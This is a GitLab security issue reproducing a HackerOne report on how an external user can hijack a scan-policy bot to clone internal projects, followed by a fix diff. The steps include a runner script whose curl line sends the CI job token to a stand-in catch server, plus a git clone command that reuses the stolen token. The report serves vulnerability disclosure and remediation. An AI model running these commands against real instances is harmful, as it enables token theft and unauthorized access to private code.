Skip to content

External user can abuse policy bot to gain access to internal projects

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2138880 by joaxcar on 2023-09-06, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

A user with external access can abuse scan execution policies bots to gain access to internal projects.

This epic &10756 that is now in production makes it so that any scan execution policies pipelines are run using a bot user instead of any other member of the project. This bot user only has membership to the project where it exits, but as the bot is not created as external but as a regular user this bot can be used by an external user to escalate access by being able to clone internal projects.

This report builds on the knowledge described in this issue #417594 (closed)

Steps to reproduce

Use a self-hosted instance with at least Premium subscription. We are going to use two users ADMIN and EXTERNAL

As ADMIN:
  1. Log in and go to https://gitlab.example.com/admin/users and create another user and make sure to check the box external under "Access"
  2. Create two groups, internal_group and shared_group
  3. In the internal_group create a project internal_project (make sure to select internal access for the project)
  4. In the shared_group create a project shared_project
  5. Add the EXTERNAL user as owner in the project shared_group/shared_project
As EXTERNAL prepare project runner:

The attacker needs to have access to a runner and use some form of VM to host the runner. You can use a Dropplet on any cloud provider or similar

  1. Log in and go to https://gitlab.example.com/shared_group/shared_project/-/settings/ci_cd and expand the runners tab
  2. Click "Create new project runner"
  3. Fill out the form, make sure to fill in the checkbox "Run untagged jobs"
  4. Follow the steps presented on the screen to Create and register a runner. When asked what executor to use make sure to select "shell"
  5. SSH into your runner machine and create a bash file named analyzer at root level /analyzer
    run
nano /analyzer  

type this in the file

###  !/bin/bash  
curl https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}  
sleep 3600  

then run

root@ubuntu123$  chmod  +x  /analyzer  
  1. The runner is ready. The bash script will leak the CI_JOB_TOKEN to your catch server and then sleep for an hour, making the token usable for the attacker
As EXTERNAL prepare the project:
  1. go to https://gitlab.example.com/shared_group/shared_project/ and create a new file, name it "package.json". You can leave the file empty, this is just to have a SCAN policy to run
  2. Go to https://gitlab.example.com/shared_group/shared_project/-/branches and create a new branch called "test"
  3. Go to https://gitlab.example.com/shared_group/shared_project/-/security/policies and click "Edit policy project", search for "shared_project" and select it (this is the only project the EXTERNAL user have access to)
  4. Click "New Policy" and select "Select Scan execution policy"
  5. Switch to .yaml mode and paste this YAML
---    
type: scan_execution_policy  
name: test  
description: hello  
enabled: true  
rules:  
  - type: schedule  
    branches:  
      - test  
    cadence: '*/16 * * * *'  
actions:  
  - scan: sast  
    tags: []  
  1. Select Configure with a merge request
  2. Select Merge.
  3. A new bot user will now have been created in this project. The scheduled policy will now run on the test branch every 16 minute
  4. Wait for 15 mins or more and eventually you will get a request to your catch server like this https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN} copy the token and use it in this curl command
CI_JOB_TOKEN=<TOKEN>  
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}[@]gitlab.example.com/internal_group/internal_project  

This will clone the internal project which the EXTERNAL user should not have access to

Impact

A user with external access can clone internal projects using a policy bot. (the bot also has access to a limited API set). To create a policy the attacker needs to be owner of a project, but if the bot already exists in the project (due to scan policies being used) then the attacker only needs maintainer access as the user only needs to do the latter part of the poc creating the runner.

What is the current bug behavior?

Policy bots are created as regular users and not as external users, thus they have access to internal projects

What is the expected correct behavior?

An external user should not be able to use an internal bot user to access internal content

Impact

A user with external access can clone internal projects using a policy bot. (the bot also have access to a limited set of the API)

How To Reproduce

Please add reproducibility information to this section:

Implementation plan

+++ b/ee/app/models/ee/user.rb
@@ -244,6 +244,12 @@ def clear_group_with_ai_available_cache(ids)
       end
     end
 
+    def external?
+      return true if security_policy_bot?
+
+      read_attribute(:external)
+    end
+
     def cannot_be_admin_and_auditor
       if admin? && auditor?
         errors.add(:admin, 'user cannot also be an Auditor.')
diff --git a/ee/app/services/security/orchestration/create_bot_service.rb b/ee/app/services/security/orchestration/create_bot_service.rb
index 9bdf4a5e67df..e0871c3eaa9c 100644
--- a/ee/app/services/security/orchestration/create_bot_service.rb
+++ b/ee/app/services/security/orchestration/create_bot_service.rb
@@ -43,7 +43,8 @@ def bot_user_params
           email: username_and_email_generator.email,
           username: username_and_email_generator.username,
           user_type: :security_policy_bot,
-          skip_confirmation: true # Bot users should always have their emails confirmed.
+          skip_confirmation: true, # Bot users should always have their emails confirmed.
+          external: true
         }
       end
Edited by Andy Schoenen